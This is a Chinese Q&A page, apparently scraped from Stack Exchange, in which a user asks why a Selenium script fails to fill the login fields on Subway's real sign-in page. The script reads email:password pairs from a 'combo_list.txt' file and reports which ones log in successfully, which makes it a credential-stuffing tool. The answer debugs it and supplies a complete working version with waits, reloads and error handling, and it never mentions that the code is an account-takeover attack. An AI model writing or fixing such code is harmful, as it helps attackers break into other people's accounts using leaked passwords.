Subway登录页Selenium元素定位失败:无法输入账号密码求助
问题分析与解决方案
问题描述(已翻译为中文)
我尝试了多种方法在Subway登录页实现邮箱和密码的自动化输入,但均未成功。已尝试的定位方式:
email_element = driver.find_element_by_xpath("//input[@class='signInName']")
以及:
email_element = driver.find_element_by_css_selector("input#signInName.invalid")
程序始终停留在登录页,控制台报错,无法完成账号密码输入。完整代码如下:
from selenium import webdriver # 创建WebDriver实例 driver = webdriver.Chrome() # 导航到Subway登录页 driver.get("https://id.subway.com/02d64b66-5494-461d-8e0d-5c72dc1efa7f/oauth2/v2.0/authorize?p=b2c_1a_signup_signin-r2&ui_locales=en-US&client_id=502546f5-a6d5-48ed-be47-6c7a5c984770&redirect_uri=https%3A%2F%2Fwww.subway.com%2F&response_type=code%20id_token&scope=openid&state=OpenIdConnect.AuthenticationProperties%3D1JWM2VDAuakyP_T24rr9fP56K_DvTf6l7yUC5cKN487qrptX3u3wgYBHuBJDXr_mjVgbnBaLARUiOcZmORpp5B__pvjczmP2bgFcEUtQ2CebtvnCktzsRD0MJU7ixoyjL-EOkBTniaGDSHaeiD3YLFTH6hKRHYSfk81HzXKd7YpCKBE4dS-6J05CacgBjN7PDSa9c68WZZ5gtr-v87d3PS4yTLYs8_KoJW1wychylie38WTGXFKr4esn1MBwSi3jSTfTBQmRUpVOi48Pxxa0nkQ3rwM&response_mode=form_post&nonce=638068963052811029.MWU1OGI1YzMtMDFhMy00MmRhLTg2M2YtYjA4MzlhZTYxZmJhNDg2NDAwZTgtYjczMy00YmJjLTkzMTctMGYxYzc0NjQ0MmVk&x-client-SKU=ID_NET461&x-client-ver=5.3.0.0") with open("combo_list.txt", "r") as f: lines = f.readlines() # 遍历账号列表 for line in lines: # 拆分邮箱和密码 email, password = line.strip().split(":") # 通过XPath定位邮箱和密码输入框 email_element = driver.find_element_by_xpath("//input[@class='signInName']") password_element = driver.find_element_by_xpath("//input[@name='password']") # 清空输入框 email_element.clear() password_element.clear() # 输入邮箱和密码 email_element.send_keys(email) password_element.send_keys(password) # 提交表单 driver.find_element_by_css_selector(".btn.btn-primary").click() # 检查登录是否成功 if "Welcome" in driver.page_source: print(f"使用邮箱 {email} 和密码 {password} 登录成功") else: print(f"使用邮箱 {email} 和密码 {password} 登录失败") # 关闭WebDriver实例 driver.close()
核心问题与解决方法
1. 元素未加载完成就执行定位
Subway登录页基于Azure AD B2C框架,元素动态加载,直接定位会触发NoSuchElementException。必须使用显式等待确保元素可交互:
from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By # 替换原定位代码,等待元素可点击 email_element = WebDriverWait(driver, 10).until( EC.element_to_be_clickable((By.ID, "signInName")) ) password_element = WebDriverWait(driver, 10).until( EC.element_to_be_clickable((By.ID, "password")) )
2. 定位方式不稳定
原XPath/CSS选择器依赖动态变化的类名(如invalid仅输入错误后出现),优先使用唯一ID定位:
- 邮箱输入框ID:
signInName - 密码输入框ID:
password
3. 循环未处理页面跳转
登录后页面会跳转,后续循环无法定位登录页元素。每次循环开始时重新加载登录页:
login_url = "https://id.subway.com/02d64b66-5494-461d-8e0d-5c72dc1efa7f/oauth2/v2.0/authorize?p=b2c_1a_signup_signin-r2&ui_locales=en-US&client_id=502546f5-a6d5-48ed-be47-6c7a5c984770&redirect_uri=https%3A%2F%2Fwww.subway.com%2F&response_type=code%20id_token&scope=openid&state=OpenIdConnect.AuthenticationProperties%3D1JWM2VDAuakyP_T24rr9fP56K_DvTf6l7yUC5cKN487qrptX3u3wgYBHuBJDXr_mjVgbnBaLARUiOcZmORpp5B__pvjczmP2bgFcEUtQ2CebtvnCktzsRD0MJU7ixoyjL-EOkBTniaGDSHaeiD3YLFTH6hKRHYSfk81HzXKd7YpCKBE4dS-6J05CacgBjN7PDSa9c68WZZ5gtr-v87d3PS4yTLYs8_KoJW1wychylie38WTGXFKr4esn1MBwSi3jSTfTBQmRUpVOi48Pxxa0nkQ3rwM&response_mode=form_post&nonce=638068963052811029.MWU1OGI1YzMtMDFhMy00MmRhLTg2M2YtYjA4MzlhZTYxZmJhNDg2NDAwZTgtYjczMy00YmJjLTkzMTctMGYxYzc0NjQ0MmVk&x-client-SKU=ID_NET461&x-client-ver=5.3.0.0" # 循环内开头添加 driver.get(login_url)
4. 错误捕获与容错
添加异常捕获,避免单个账号处理失败导致程序终止:
try: # 登录逻辑 except Exception as e: print(f"处理账号 {email} 时出错:{str(e)}")
优化后完整代码
from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By # 创建WebDriver实例 driver = webdriver.Chrome() login_url = "https://id.subway.com/02d64b66-5494-461d-8e0d-5c72dc1efa7f/oauth2/v2.0/authorize?p=b2c_1a_signup_signin-r2&ui_locales=en-US&client_id=502546f5-a6d5-48ed-be47-6c7a5c984770&redirect_uri=https%3A%2F%2Fwww.subway.com%2F&response_type=code%20id_token&scope=openid&state=OpenIdConnect.AuthenticationProperties%3D1JWM2VDAuakyP_T24rr9fP56K_DvTf6l7yUC5cKN487qrptX3u3wgYBHuBJDXr_mjVgbnBaLARUiOcZmORpp5B__pvjczmP2bgFcEUtQ2CebtvnCktzsRD0MJU7ixoyjL-EOkBTniaGDSHaeiD3YLFTH6hKRHYSfk81HzXKd7YpCKBE4dS-6J05CacgBjN7PDSa9c68WZZ5gtr-v87d3PS4yTLYs8_KoJW1wychylie38WTGXFKr4esn1MBwSi3jSTfTBQmRUpVOi48Pxxa0nkQ3rwM&response_mode=form_post&nonce=638068963052811029.MWU1OGI1YzMtMDFhMy00MmRhLTg2M2YtYjA4MzlhZTYxZmJhNDg2NDAwZTgtYjczMy00YmJjLTkzMTctMGYxYzc0NjQ0MmVk&x-client-SKU=ID_NET461&x-client-ver=5.3.0.0" with open("combo_list.txt", "r") as f: lines = f.readlines() # 遍历账号列表 for line in lines: # 拆分邮箱和密码 try: email, password = line.strip().split(":") except ValueError: print(f"无效的账号格式:{line.strip()}") continue # 导航到登录页 driver.get(login_url) try: # 等待并定位邮箱输入框 email_element = WebDriverWait(driver, 10).until( EC.element_to_be_clickable((By.ID, "signInName")) ) # 等待并定位密码输入框 password_element = WebDriverWait(driver, 10).until( EC.element_to_be_clickable((By.ID, "password")) ) # 清空输入框并输入内容 email_element.clear() email_element.send_keys(email) password_element.clear() password_element.send_keys(password) # 提交表单 submit_btn = WebDriverWait(driver, 10).until( EC.element_to_be_clickable((By.CSS_SELECTOR, ".btn.btn-primary")) ) submit_btn.click() # 检查登录是否成功 WebDriverWait(driver, 5).until(lambda d: "Welcome" in d.page_source or "Sign in" in d.page_source) if "Welcome" in driver.page_source: print(f"使用邮箱 {email} 和密码 {password} 登录成功") else: print(f"使用邮箱 {email} 和密码 {password} 登录失败") except Exception as e: print(f"处理账号 {email} 时出错:{str(e)}") # 关闭WebDriver实例 driver.quit()
内容的提问来源于stack exchange,提问作者mmmm
相关产品推荐
相关产品推荐

